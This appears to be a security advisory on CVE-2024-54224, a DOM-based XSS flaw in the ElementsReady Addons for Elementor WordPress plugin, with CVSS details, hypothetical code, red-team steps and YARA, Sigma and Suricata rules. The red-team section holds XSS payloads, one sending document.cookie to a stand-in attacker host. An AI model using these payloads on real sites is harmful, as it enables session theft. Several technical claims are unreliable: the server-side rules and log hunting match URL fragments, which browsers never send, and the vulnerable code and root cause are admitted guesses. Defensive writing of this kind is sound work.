CVE-2024-54224

Executive Summary

CVE-2024-54224 is a DOM-Based Cross-Site Scripting (XSS) vulnerability identified in the Quomodosoft ElementsReady Addons for Elementor WordPress plugin (versions up to and including 6.4.7). This vulnerability allows an attacker to inject malicious scripts into web pages generated by the plugin, which are then executed in the victim's browser within the context of the vulnerable site. The flaw stems from improper neutralization of user-supplied input during web page generation, specifically affecting DOM-based operations. As a WordPress plugin vulnerability, it impacts sites using the Elementor page builder with the ElementsReady addon. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Users should verify the integrity of the plugin files by checking checksums provided by the WordPress plugin directory. The lack of a patch increases supply chain risk, as site administrators must rely on manual mitigation or plugin deactivation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the DOM-based nature of the XSS can lead to session hijacking, credential theft, or defacement. The lack of a patch elevates the risk for unmitigated installations.

Deep Dive & Mechanics

The vulnerability exists in the element-ready-lite plugin, which provides addons for the Elementor page builder. DOM-Based XSS occurs when client-side JavaScript processes user input in an unsafe manner, often via document.write, innerHTML, or URL fragment manipulation. In this case, the plugin fails to sanitize input before inserting it into the DOM, allowing an attacker to inject arbitrary JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing a payload in the fragment identifier (e.g., #<script>alert(1)</script>).
2. The victim visits the crafted URL on a site using the vulnerable plugin.
3. The plugin's JavaScript reads the fragment and inserts it into the DOM without sanitization.
4. The injected script executes in the victim's browser, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the user.

Root Cause: The plugin's JavaScript code likely uses location.hash or location.search directly in DOM manipulation functions like innerHTML or jQuery.html() without proper encoding or validation.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (JavaScript):

// Vulnerable: Directly using location.hash
var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

Patched Code (JavaScript):

// Patched: Sanitize input using textContent or DOMPurify
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('output').textContent = sanitized;

Key Difference: The patched version uses textContent (which treats input as text, not HTML) or a sanitization library like DOMPurify to prevent script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin (version <= 6.4.7) installed and active.
• A victim user with a modern browser.

Exploitation Steps:

1. Identify a page that uses the vulnerable plugin's DOM-based functionality (e.g., a custom widget that reads URL fragments).
2. Craft a malicious URL:

   https://victim-site.com/page/#<img src=x onerror=alert(document.cookie)>
   

3. Send the URL to the victim via phishing email or social engineering.
4. When the victim clicks the link, the script executes, exfiltrating cookies to an attacker-controlled server.

Example Payload:

#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection & Prevention:

• Web Application Firewall (WAF): Deploy rules to block requests containing suspicious fragment identifiers (e.g., <script, onerror=).
• Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts and restricts script sources.
• Input Validation: Ensure all client-side JavaScript uses textContent or sanitization libraries.
• User Education: Train users to avoid clicking suspicious links.

Hunting Queries:

• Monitor web server logs for URLs containing #<script or #<img.
• Use browser developer tools to inspect DOM manipulation in the plugin's JavaScript.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains containing cookie data in query strings.
  • URLs with fragment identifiers containing <script>, <img onerror=, or similar patterns.
• Host IOCs:
  • Modified DOM elements in the browser (e.g., injected iframes or scripts).
  • Unexpected JavaScript execution in the context of the vulnerable page.
• File IOCs:
  • Plugin file: wp-content/plugins/element-ready-lite/ (version <= 6.4.7).
  • Suspicious entries in browser console logs (e.g., XSS warnings).

Detection Engineering

YARA Rule

rule CVE_2024_54224_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS patterns in JavaScript files from ElementsReady plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54224"
    strings:
        $xss1 = /location\.hash/
        $xss2 = /\.innerHTML\s*=/
        $xss3 = /jQuery\(.*\)\.html\(/
        $xss4 = /document\.write\(/
    condition:
        any of ($xss*) and filesize < 500KB
}

Sigma Rule

title: DOM-Based XSS via ElementsReady Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM-based XSS exploitation attempts targeting CVE-2024-54224
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of fragment identifiers with HTML-like content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54224 DOM-Based XSS Attempt"; flow:to_server; content:"#<script"; nocase; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-54224 DOM-Based XSS via img tag"; content:"#<img"; nocase; http_uri; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Deactivate the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block malicious fragment identifiers.
3. Apply a Content Security Policy (CSP) that restricts script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fix:

• Monitor the WordPress plugin repository for an update (version > 6.4.7).
• If the plugin is no longer maintained, consider replacing it with an alternative.
• Conduct a code review of the plugin's JavaScript to identify and fix unsafe DOM manipulations.

Workaround:

• Use a browser extension that blocks XSS (e.g., NoScript) for administrative users.
• Educate users to avoid clicking untrusted links.

Valters IT
Securing Digital Frontiers